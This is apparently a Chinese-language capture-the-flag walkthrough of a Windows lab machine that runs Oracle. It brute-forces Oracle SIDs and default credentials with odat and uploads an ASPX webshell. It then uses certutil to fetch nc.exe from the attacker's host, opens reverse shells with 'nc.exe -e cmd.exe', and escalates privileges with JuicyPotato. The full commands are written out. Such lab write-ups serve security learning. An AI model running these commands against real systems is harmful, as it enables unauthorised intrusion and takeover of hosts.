预备知识
Oracle 数据库渗透:oracle默认端口、odat使用——sid、用户名密码爆破、任意文件上传
JuicyPotato提权
netcat、certutil、nmap
信息收集和获取立足点
nmap 扫描一下端口,这里普通扫描无效,需要-Pn参数
nmap -Pn 10.10.10.82
PORT STATE SERVICE
25/tcp open smtp
110/tcp open pop3
目前只知道smtp和pop3服务
只能详细扫描nmap -Pn -sV -sC -p25,110 10.10.10.82
,输出结果还是没什么区别,后来看了别人的walkthrough才知道端口扫少了,原来nmap的默认扫描数量不全,所以没扫出来其他端口
扫描1-65535端口 nmap -Pn -p 1-65535 10.10.10.82
这次结果立马爆开,所以只能慢慢看了,实战中我会直接认为是蜜罐
因为开了80端口,先访问http服务,但是访问没有结果,后来看了别人的walkthrough却是有结果,暂且不知原因,重新检查nmap结果
因为有看到445这几个端口,所以再扫一下nmap -Pn -sCV -p80,135,139,445 10.10.10.82
,输出结果如下
Nmap scan report for 10.10.10.82
Host is up (0.00047s latency).
PORT STATE SERVICE VERSION
80/tcp open http?
135/tcp open msrpc?
139/tcp open netbios-ssn?
445/tcp open microsoft-ds?
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 246.44 seconds
还是没啥用,只能再从之前的端口找信息了,这步我佛了,在复盘时发现老外就没遇到这些问题,可能我的网络环境是真的坑
看到了1521端口开着oracle数据库,3306也开着mysql,先从oracle下手
google了一下,搜索到了odat
这个工具,项目链接
看看kali上有没有,apt-cache search odat
,发现是有的,所以安装一下sudo apt-get install odat
查阅一点Oracle渗透的资料
首先是oracle的默认密码
用户名 / 密码 登录身份 说明
sys/change_on_install SYSDBA 或 SYSOPER 不能以 NORMAL 登录,可作为默认的系统管理员
system/manager SYSDBA 或 NORMAL 不能以 SYSOPER 登录,可作为默认的系统管理员
sysman/oem_temp sysman 为 oms 的用户名
scott/tiger NORMAL 普通用户
aqadm /aqadm SYSDBA 或 NORMAL 高级队列管理员
Dbsnmp/dbsnmp SYSDBA 或 NORMAL 复制管理员
根据这篇odat的wiki,爆破一下凭据python odat.py passwordguesser -s 10.10.10.82 -p 1521 --accounts-file accounts_multiple.txt
不过到这里就出了问题,一点输出都没有,最后发现ping都ping不上了,只能重置,发现重置后web可以访问了,不过只是个iis默认页面
不过再nmap的结果就详细多了,结果如下,可以知道是个windows 2008r2
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 5m15s, deviation: 0s, median: 5m15s
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: supported
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-12-10T05:39:38
|_ start_date: 2020-12-10T05:31:33
重新爆破python3 odat.py passwordguesser -s 10.10.10.82 -p 1521 --accounts-file accounts_multiple.txt
创建一个bat脚本,用开枚举userecho 'dir /a c:\Users\' > ech0.bat
python3 odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "c:/" ech0.bat /home/bot/ech0.bat --sysdba
还是不清楚为什么扫不出来,发现可能是odat安装错了,,,参考这篇博客Installing Oracle Database Attacking Tool (ODAT) on Kali Rolling (2018) 和kali关于odat的readme
最后下了一个编译好的版本,此外,安装一下orcale instaclient, sdk, sqlplus,方便后面登录oracle数据库
- Instantclient-basic-linux.x64-21.1.0.0.0.zip
- Instantclient-sqlplus-linux.x64-21.1.0.0.0.zip
- Instantclient-sdk-linux.x64-21.1.0.0.0.zip
sudo mkdir -p /opt/oracle/
sudo cp instantclient-* /opt/oracle/
解压
cd /opt/oracle/
sudo unzip instantclient-basic-linux.x64-21.1.0.0.0.zip
sudo unzip instantclient-sqlplus-linux.x64-21.1.0.0.0.zip
sudo unzip instantclient-sdk-linux.x64-21.1.0.0.0.zip
创建链接 libclntsh.so.12.1 等
cd instantclient_21_1
ln libclntsh.so.21.1 libclntsh.so
echo "
export PATH=$PATH:/opt/oracle/instantclient_21_1
export SQLPATH=/opt/oracle/instantclient_21_1
export TNS_ADMIN=/opt/oracle/instantclient_21_1
export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_1
export ORACLE_HOME=/opt/oracle/instantclient_21_1
" >> ~/.zshrc
刷新一下终端source ~/.zshrc
在/etc/ld.so.conf添加/opt/oracle/instantclient_21_1/
下面的还有个坑,如果是proxychains必须指定文件,如proxychains ./odat-libc2.12-x86_64
形式
在odat目录重新爆破odat passwordguesser -s 10.10.10.82 -p 1521 --accounts-file accounts/accounts_multiple.txt
报错:CRITICAL -: The server SID must be given with the '-d SID' option.
,需要一个sid,差不多得了
查看wiki,发现有个爆破sid的odat sidguesser -s 10.10.10.82 --sids-file=sids.txt
,等待一段时间,得到两个
再爆破用户名密码
./odat-libc2.12-x86_64 passwordguesser -s 10.10.10.82 -p 1521 -d XEXDB --accounts-file accounts/accounts_multiple.txt
./odat-libc2.12-x86_64 passwordguesser -s 10.10.10.82 -p 1521 -d XE --accounts-file accounts/accounts_multiple.txt
过程会问你不止一个是否继续破解,选continue without to ask (c/C)
即可
找到的凭据scott/tiger
两个sid都是
登录sqlplus scott/tiger@10.10.10.82:1521/XEXDB as sysdba
,简单看了下,没什么特别的
as sysdba在oracle 数据库中的含义就是sudo
进入odat的目录直接传shell, 参考这篇wiki
./odat-libc2.12-x86_64 dbmsxslprocessor -s 10.10.10.82 -U scott -P tiger -d XE --putFile "C:\inetpub\wwwroot" "shell.aspx" "/usr/share/webshells/aspx/cmdasp.aspx" --sysdba
浏览器浏览
那就在本地开启http服务,传一个nc.exe
浏览器执行certutil.exe -urlcache -f http://10.10.14.15/nc.exe C:\WINDOWS\TEMP\nc.exe
本地开启一个nc监听
浏览器执行C:\WINDOWS\TEMP\nc.exe 10.10.14.15 5555 -e cmd.exe
回连成功,权限也比较低
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool
c:\windows\system32\inetsrv>
权限提升
简单看下权限
c:\windows\system32\inetsrv>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
适用Juicy Potato,参考这篇文章的用法
-
CreateProcessWithToken (needs SeImpersonate)
-
CreateProcessAsUser (needs SeAssignPrimaryToken)
certutil.exe -urlcache -f http://10.10.14.15/JuicyPotato.exe C:\WINDOWS\TEMP\JuicyPotato.exe
本地nc新监听一个端口,回到之前普通权限的shell执行
C:\WINDOWS\TEMP\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\WINDOWS\TEMP\nc.exe -e cmd.exe 10.10.14.15 4444" -t *
成功拿到shell